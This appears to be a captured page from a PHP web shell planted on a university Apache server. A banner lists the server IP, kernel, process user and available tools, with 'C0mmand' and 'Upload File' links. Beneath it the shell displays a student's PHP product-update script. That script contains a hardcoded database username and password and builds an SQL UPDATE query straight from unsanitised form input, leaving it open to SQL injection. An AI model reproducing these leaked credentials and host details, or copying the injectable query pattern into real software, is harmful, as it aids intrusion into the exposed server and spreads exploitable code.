Server IP : 172.16.15.8 / Your IP : 3.145.75.238 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/tasantos/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- File: update_act.php p. 180 Display the update result --> <TITLE> Product Update Results </TITLE> <BODY> <?php $Product = $_POST['Product']; $host = 'localhost'; $user = 'tasantos'; $passwd = 'cs480'; $database = 'tasantos'; $connect = mysql_connect($host, $user, $passwd); $table_name = 'Product'; print "<font size=5 color=blue>"; print "Update Results for Table $table_name</font><br>"; if(!$connect) { die("Cannot connect to $host using $user"); } else { $query = "UPDATE $table_name SET Numb=Numb-1 where (Product_desc='$Product' )"; echo "The query is <i>$query</i><p>"; MYSQL_select_db($database); $results_id = mysql_query ($query, $connect); if($results_id) //p.181 Show_all ($connect, $database, $table_name); else print "Update = $query failed"; mysql_close($connect); } function Show_all($connect, $database, $table_name) { $query = "SELECT * from $table_name"; $results_id= mysql_query ($query, $connect); print "<table border=1>"; print "<th>Num<th>Product<th>Cost<th>Weight<th>Count"; while ($row=mysql_fetch_row($results_id)) { print "<tr>"; foreach ($row as $field) print "<td>$field</td>"; print "</tr>"; } } ?> </table> </body>